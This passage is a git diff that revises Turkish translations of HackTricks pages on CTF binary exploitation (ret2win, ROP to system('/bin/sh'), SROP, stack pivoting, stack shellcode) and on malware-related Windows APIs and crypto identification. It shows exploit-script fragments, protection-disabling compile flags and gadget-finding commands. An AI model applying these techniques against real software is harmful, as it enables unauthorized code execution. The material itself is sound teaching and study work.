b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md index ab6befd67..667acfac9 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md @@ -4,11 +4,11 @@ ## Temel Bilgiler -**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyada bir açığı kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, yürütme akışını istenen fonksiyona yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: +**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, belirli bir ikili dosyadaki bir zafiyeti kullanarak, genellikle `win`, `flag` gibi bir isimle adlandırılan, çağrılmamış bir fonksiyonu çalıştırmaktır. Bu fonksiyon çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Zorluk genellikle, istenen fonksiyona yürütme akışını yönlendirmek için yığın üzerindeki **return address**'i geçersiz kılmayı içerir. İşte daha ayrıntılı bir açıklama ve örnekler: ### C Örneği -Bir açığı olan basit bir C programını ve çağırmayı amaçladığımız `win` fonksiyonunu düşünün: +Bir zafiyeti olan basit bir C programını ve çağırmayı amaçladığımız bir `win` fonksiyonunu düşünün: ```c #include #include @@ -33,13 +33,13 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` - `-m32`: Programı 32-bit ikili olarak derle (bu isteğe bağlıdır ama CTF zorluklarında yaygındır). - `-fno-stack-protector`: Yığın taşmalarına karşı korumaları devre dışı bırak. -- `-z execstack`: Yığında kodun çalıştırılmasına izin ver. +- `-z execstack`: Yığında kodun çalışmasına izin ver. - `-no-pie`: `win` fonksiyonunun adresinin değişmemesini sağlamak için Konum Bağımsız İkiliyi devre dışı bırak. - `-o vulnerable`: Çıktı dosyasının adını `vulnerable` olarak belirle. ### Python Exploit using Pwntools -Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile yazmak için bir yük oluşturacaktır. +Exploit için **pwntools** kullanacağız, bu güçlü bir CTF çerçevesidir. Exploit betiği, tamponu taşırmak ve dönüş adresini `win` fonksiyonunun adresi ile değiştirmek için bir yük oluşturacaktır. ```python from pwn import * @@ -69,7 +69,7 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı ## Koruma Önlemleri -- [**PIE**](../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen** bir işlem yapabilirsiniz. ASLR'nin nasıl çalıştığı nedeniyle, son üç hex nibble rastgeleleştirilmez, bu nedenle doğru dönüş adresini elde etme şansı **1/16** (1 nibble) olacaktır. +- [**PIE**](../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklü olduğunu anlamak için bir sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmaya neden olan fonksiyon `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık **Kısmi Üst Üste Binen Yazma** yapabilirsiniz. ASLR'nin nasıl çalıştığı nedeniyle, son üç hex nibble rastgeleleştirilmez, bu yüzden doğru dönüş adresini elde etme şansı **1/16** (1 nibble) vardır. - [**Yığın Kanalları**](../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır yoksa tehlikeye atılmış EIP dönüş adresi asla takip edilmeyecektir. ## Diğer Örnekler & Referanslar @@ -84,8 +84,8 @@ Python betiği, `vulnerable_function` tarafından işlendiğinde, tamponu taşı - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html) - 32 bit, ASLR yok, çift küçük taşma, ilk olarak yığını taşır ve ikinci taşmanın boyutunu büyütür - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst üste yazmak için format dizesi +- 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonu ile (ret2win) üst yazmak için format dizesi - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/) -- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst üste yazma (ret2win) +- 64 bit, relro, kanarya yok, nx, pie. `win` fonksiyonunu çağırmak için kısmi üst yazma (ret2win) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md index 7c8563ec5..356c18581 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md @@ -20,7 +20,7 @@ Genellikle, gadget'lar **[ROPgadget](https://github.com/JonathanSalwan/ROPgadget ### **x86 (32-bit) Çağrı Konvansiyonları** -- **cdecl**: Çağrıcı yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** +- **cdecl**: Çağıran yığını temizler. Fonksiyon argümanları yığına ters sırayla (sağdan sola) itilir. **Argümanlar yığına sağdan sola itilir.** - **stdcall**: cdecl'e benzer, ancak çağrılan fonksiyon yığını temizlemekten sorumludur. ### **Gadget Bulma** @@ -83,7 +83,7 @@ p.interactive() #### **Gadget'ları Bulma** -Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()**'e argüman olarak geçmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: +Amacımız için, **RDI** kaydını ayarlamamıza ( **"/bin/sh"** dizesini **system()** fonksiyonuna argüman olarak geçmek için) ve ardından **system()** fonksiyonunu çağırmamıza olanak tanıyan gadget'lara odaklanalım. Aşağıdaki gadget'ları belirlediğimizi varsayıyoruz: - **pop rdi; ret**: Yığının en üstündeki değeri **RDI**'ye alır ve ardından döner. **system()** için argümanımızı ayarlamak için gereklidir. - **ret**: Basit bir dönüş, bazı senaryolar için yığın hizalaması için faydalıdır. @@ -92,7 +92,7 @@ Ve **system()** fonksiyonunun adresini bildiğimizi biliyoruz. ### **ROP Zinciri** -Aşağıda, **system('/bin/sh')**'i **x64** üzerinde çalıştırmayı hedefleyen bir ROP zinciri kurmak ve yürütmek için **pwntools** kullanan bir örnek bulunmaktadır: +Aşağıda, **pwntools** kullanarak **system('/bin/sh')** çalıştırmayı hedefleyen bir ROP zinciri kurma ve yürütme örneği bulunmaktadır. ```python from pwn import * @@ -129,15 +129,15 @@ p.interactive() ``` Bu örnekte: -- **`pop rdi; ret`** gadget'ını **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için kullanıyoruz. +- **`RDI`**'yi **`"/bin/sh"`** adresine ayarlamak için **`pop rdi; ret`** gadget'ını kullanıyoruz. - **`RDI`**'yi ayarladıktan sonra doğrudan **`system()`**'e atlıyoruz, zincirde **system()**'in adresi ile. - Hedef ortamın gerektirmesi durumunda hizalama için **`ret_gadget`** kullanılır, bu da **x64**'te işlevleri çağırmadan önce doğru yığın hizalamasını sağlamak için daha yaygındır. ### Yığın Hizalaması -**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmamışsa (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olacaktır. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. +**x86-64 ABI** bir **call instruction** yürütüldüğünde **yığının 16-byte hizalı** olmasını garanti eder. **LIBC**, performansı optimize etmek için, bu hizalamayı gerektiren **SSE instructions** (örneğin **movaps**) kullanır. Yığın düzgün hizalanmadığında (yani **RSP** 16'nın katı değilse), **system** gibi işlevlere yapılan çağrılar bir **ROP chain**'de başarısız olur. Bunu düzeltmek için, ROP zincirinizde **system**'i çağırmadan önce basitçe bir **ret gadget** ekleyin. -## x86 ve x64 ana farkı +## x86 ile x64 arasındaki ana fark > [!TIP] > x64, ilk birkaç argüman için register'lar kullandığından, genellikle basit işlev çağrıları için x86'dan daha az gadget gerektirir, ancak doğru gadget'ları bulmak ve zincirlemek, register sayısının artması ve daha büyük adres alanı nedeniyle daha karmaşık olabilir. **x64** mimarisindeki artan register sayısı ve daha büyük adres alanı, özellikle Return-Oriented Programming (ROP) bağlamında istismar geliştirme için hem fırsatlar hem de zorluklar sunar. @@ -161,7 +161,7 @@ ROP'un, keyfi kodu yürütmek için sadece bir teknik olduğunu unutmayın. ROP' ret2lib/ {{#endref}} -- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutlar yürütmek için kullanın. +- **Ret2Syscall**: ROP kullanarak bir syscall'a, örneğin `execve`, çağrı hazırlamak ve keyfi komutları yürütmek için kullanın. {{#ref}} rop-syscall-execv.md diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md index ba445038b..9f1003214 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md @@ -43,9 +43,9 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` -### Belleğe Dize Yazma +### Belleğe Dize Yaz -Sonra, bu adrese rastgele içerik yazmanın bir yolunu bulmanız gerekiyor. +Sonra bu adrese rastgele içerik yazmanın bir yolunu bulmalısınız. ```bash ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx @@ -96,7 +96,7 @@ rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` ## Gadget Eksikliği -Eğer **gadget eksikliğiniz** varsa, örneğin `/bin/sh`'yi belleğe yazmak için, yığından tüm register değerlerini (RIP ve parametre register'ları dahil) kontrol etmek için **SROP tekniğini** kullanabilirsiniz: +Eğer **gadget eksikliğiniz** varsa, örneğin `/bin/sh`'yi belleğe yazmak için, yığından tüm kayıt değerlerini (RIP ve parametre kayıtları dahil) kontrol etmek için **SROP tekniğini** kullanabilirsiniz: {{#ref}} srop-sigreturn-oriented-programming.md @@ -180,6 +180,6 @@ target.interactive() - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - 64 bit, PIE yok, nx, BF canary, `execve` çağırmak için bellekte bir ROP yazın ve oraya atlayın. - [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) -- 32 bit, ASLR yok, ROP gadget'larını bulmak ve `execve` çağırmak için vDSO kullanın. +- 32 bit, ASLR yok, ROP gadget'ları bulmak ve `execve` çağırmak için vDSO kullanın. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md index bdea95daa..3352d07e2 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md @@ -6,9 +6,9 @@ **`Sigreturn`**, bir sinyal işleyicisinin yürütmesini tamamladıktan sonra temizlemek için kullanılan özel bir **syscall**'dır. Sinyaller, işletim sistemi tarafından bir programa gönderilen kesintilerdir ve genellikle olağanüstü bir durumun meydana geldiğini belirtmek için kullanılır. Bir program bir sinyal aldığında, sinyali işlemek için geçici olarak mevcut işini durdurur ve bu işlem için özel olarak tasarlanmış bir **sinyal işleyici** kullanır. -Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte bu noktada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. +Sinyal işleyici tamamlandıktan sonra, programın **önceki durumuna geri dönmesi** gerekir, sanki hiçbir şey olmamış gibi. İşte burada **`sigreturn`** devreye girer. Programın **sinyal işleyicisinden dönmesine** yardımcı olur ve sinyal işleyici tarafından kullanılan yığın çerçevesini (fonksiyon çağrılarını ve yerel değişkenleri depolayan bellek bölümü) temizleyerek programın durumunu geri yükler. -İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığının mevcut üst kısmını gösteren yığın işaretçi kaydı (RSP) dahil olmak üzere tüm kayıtları içerir. +İlginç olan, **`sigreturn`**'ın programın durumunu nasıl geri yüklediğidir: **tüm CPU'nun kayıt değerlerini yığında saklayarak** bunu yapar. Sinyal artık engellenmediğinde, **`sigreturn` bu değerleri yığından çıkarır**, böylece CPU'nun kayıtlarını sinyal işlenmeden önceki durumuna sıfırlar. Bu, yığın işaretçi kaydı (RSP) dahil olmak üzere, yığının mevcut üst kısmını gösterir. > [!CAUTION] > Bir ROP zincirinden **`sigreturn`** syscall'ını çağırmak ve **yüklemek istediğimiz kayıt değerlerini** **yığa** eklemek, tüm kayıt değerlerini **kontrol etmemizi** ve dolayısıyla örneğin `execve` syscall'ını `/bin/sh` ile **çağırmamızı** mümkün kılar. diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index 8f43f32b3..b3856a599 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,7 +4,7 @@ ## Temel Bilgiler -Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemini gerçekleştirir. +Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve `leave; ret` talimat dizisi aracılığıyla birden fazla fonksiyonun yürütülmesini zincirleme işlemi yapar. Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: ``` @@ -16,31 +16,31 @@ Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bun ### EBP2Ret -Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. +Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle yararlıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. -Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` dönerken, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ -**İki adresi bilmeniz gerektiğini** unutmayın: ESP'nin gideceği adres ve ESP'nin işaret ettiği adresi yazmanız gereken yer. +Eğer `fvuln`'ın çalışması sırasında, yığında shellcode'unuzun adresinin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ +**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer. #### Exploit Yapısı -Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi** bilmeniz gerekir. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacaktır. +Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`i çalıştıracak**. Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: - Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. -- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bit). +- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri). - **`jump esp;`** gadget'ının adresi ([**ret2esp**](ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. - Bazı [**ROP**](rop-return-oriented-programing.md) zincirleri. -Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. +Kontrollü bellek kısmındaki bu adreslerin önünde **`4` byte** olmalıdır çünkü **`pop`** kısmı `leave` talimatının gereğidir. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. #### Off-By-One Exploit -Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını** yalnızca değiştirebildiğinizde kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona olanak tanır. +Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir. ### **EBP Zincirleme** -Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **yığından kontrol edilen `EBP` adresine `ESP`'yi taşımak mümkündür.** +Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerinden kontrol edilen `EBP` adresine taşımak mümkündür**. Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: @@ -53,7 +53,7 @@ Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EB Bu, bir [ret2lib](ret2lib/) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. -Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir: +Ayrıca, bu tekniği bir **yığın sızıntısı** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir: ```python from pwn import * diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md index 74b588919..c10efec57 100644 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md +++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md @@ -35,7 +35,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c - `-fno-stack-protector`: Yığın korumasını devre dışı bırakır. - `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir. - `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un nerede bulunacağını tahmin etmeyi kolaylaştırır. -- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle exploit geliştirmede basitlik için kullanılır. +- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır. ### Python Exploit using Pwntools diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md index 144768a68..7512db79d 100644 --- a/src/reversing/common-api-used-in-malware.md +++ b/src/reversing/common-api-used-in-malware.md @@ -1,4 +1,4 @@ -# Malware'da Kullanılan Yaygın API +# Malware'da Kullanılan Yaygın API'ler {{#include ../banners/hacktricks-training.md}} @@ -19,13 +19,13 @@ ### Süreklilik -| Kayıt Defteri | Dosya | Hizmet | -| --------------------- | -------------- | --------------------------- | -| RegCreateKeyEx() | GetTempPath() | OpenSCManager | -| RegOpenKeyEx() | CopyFile() | CreateService() | -| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher()| -| RegDeleteKeyEx() | WriteFile() | | -| RegGetValue() | ReadFile() | | +| Kayıt | Dosya | Hizmet | +| --------------- | -------------- | ---------------------------- | +| RegCreateKeyEx()| GetTempPath() | OpenSCManager | +| RegOpenKeyEx() | CopyFile() | CreateService() | +| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() | +| RegDeleteKeyEx()| WriteFile() | | +| RegGetValue() | ReadFile() | | ### Şifreleme @@ -54,7 +54,7 @@ | İsim | | | ------------------------ | -------------------------------------------------------------------------- | | VirtualAlloc | Bellek ayırma (paketleyiciler) | -| VirtualProtect | Bellek izni değiştirme (paketleyici bir bölüme yürütme izni verme) | +| VirtualProtect | Bellek izni değiştirme (paketleyici bir bölüme yürütme izni verme) | | ReadProcessMemory | Dış süreçlere enjekte etme | | WriteProcessMemoryA/W | Dış süreçlere enjekte etme | | NtWriteVirtualMemory | | @@ -129,7 +129,7 @@ Kötü amaçlı yazılım, sürecin belleğinden meşru kodu kaldıracak ve köt ## Hooking -- **SSDT** (**Sistem Servis Tanımlayıcı Tablosu**), kullanıcı süreçlerinin bu fonksiyonları çağırabilmesi için çekirdek fonksiyonlarına (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder. +- **SSDT** (**Sistem Servis Tanım Tablosu**), kullanıcı süreçlerinin bu fonksiyonları çağırabilmesi için çekirdek fonksiyonlarına (ntoskrnl.exe) veya GUI sürücüsüne (win32k.sys) işaret eder. - Bir rootkit, bu işaretçileri kontrol ettiği adreslere değiştirebilir. - **IRP** (**G/Ç İstek Paketleri**), bir bileşenden diğerine veri parçaları iletir. Çekirdek içinde hemen hemen her şey IRP'leri kullanır ve her cihaz nesnesinin kendi işlev tablosu vardır; bu tabloya hook yapılabilir: DKOM (Doğrudan Çekirdek Nesne Manipülasyonu) - **IAT** (**İthalat Adres Tablosu**), bağımlılıkları çözmek için yararlıdır. Bu tabloyu hooklamak, çağrılacak kodu ele geçirmek için mümkündür. diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md index 427a5a6a8..8ff2789df 100644 --- a/src/reversing/cryptographic-algorithms/README.md +++ b/src/reversing/cryptographic-algorithms/README.md @@ -6,7 +6,7 @@ ## Algoritmaları Tanımlama -Eğer bir kod **sağ ve sol kaydırmalar, XOR'lar ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. +Eğer bir kod **sağa ve sola kaydırma, XOR ve çeşitli aritmetik işlemler** kullanıyorsa, bunun bir **kriptografik algoritmanın** uygulanması olması oldukça olasıdır. Burada, **her adımı tersine çevirmeden kullanılan algoritmayı tanımlamanın bazı yolları** gösterilecektir. ### API fonksiyonları @@ -16,7 +16,7 @@ Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hang ![](<../../images/image (375) (1) (1) (1) (1).png>) -Olası algoritmalar ve atanan değerleri içeren tabloya buradan bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** @@ -28,12 +28,12 @@ Verilen bir veri tamponunu sıkıştırır ve açar. **CryptCreateHash** -Bir veri akışının hash'lenmesini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: +Bir veri akışının hash'ini başlatır. Bu fonksiyon kullanılıyorsa, ikinci parametrenin değerini kontrol ederek hangi **algoritmanın kullanıldığını** bulabilirsiniz: ![](<../../images/image (376).png>) \ -Olası algoritmalar ve atanan değerleri içeren tabloya buradan bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +Olası algoritmalar ve atanan değerleri için buradaki tabloya bakın: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) ### Kod sabitleri @@ -41,17 +41,17 @@ Bazen, bir algoritmayı tanımlamak gerçekten kolaydır çünkü özel ve benze ![](<../../images/image (370).png>) -Eğer ilk sabiti Google'da ararsanız, bu sonucu alırsınız: +Eğer ilk sabiti Google'da aratırsanız, bu sonucu alırsınız: ![](<../../images/image (371).png>) -Bu nedenle, decompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ -Diğer sabitlerden herhangi birini arayabilirsiniz ve (muhtemelen) aynı sonucu alırsınız. +Bu nedenle, dekompile edilmiş fonksiyonun bir **sha256 hesaplayıcı** olduğunu varsayabilirsiniz.\ +Diğer sabitlerden herhangi birini aratabilir ve (muhtemelen) aynı sonucu elde edersiniz. ### veri bilgisi Eğer kodda herhangi bir önemli sabit yoksa, bu **.data bölümünden bilgi yüklüyor olabilir**.\ -Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve önceki bölümde yaptığımız gibi Google'da arama yapabilirsiniz: +Bu veriye erişebilir, **ilk dword'u gruplandırabilir** ve daha önceki bölümde yaptığımız gibi Google'da aratabilirsiniz: ![](<../../images/image (372).png>) @@ -64,11 +64,11 @@ Bu durumda, eğer **0xA56363C6**'yı ararsanız, bunun **AES algoritmasının ta 3 ana bölümden oluşur: - **Başlatma aşaması/**: **0x00'dan 0xFF'e kadar değerler içeren bir tablo oluşturur** (toplam 256 bayt, 0x100). Bu tablo genellikle **Yer Değiştirme Kutusu** (veya SBox) olarak adlandırılır. -- **Karıştırma aşaması**: Daha önce oluşturulan tabloyu **döngü ile geçer** (0x100 yine 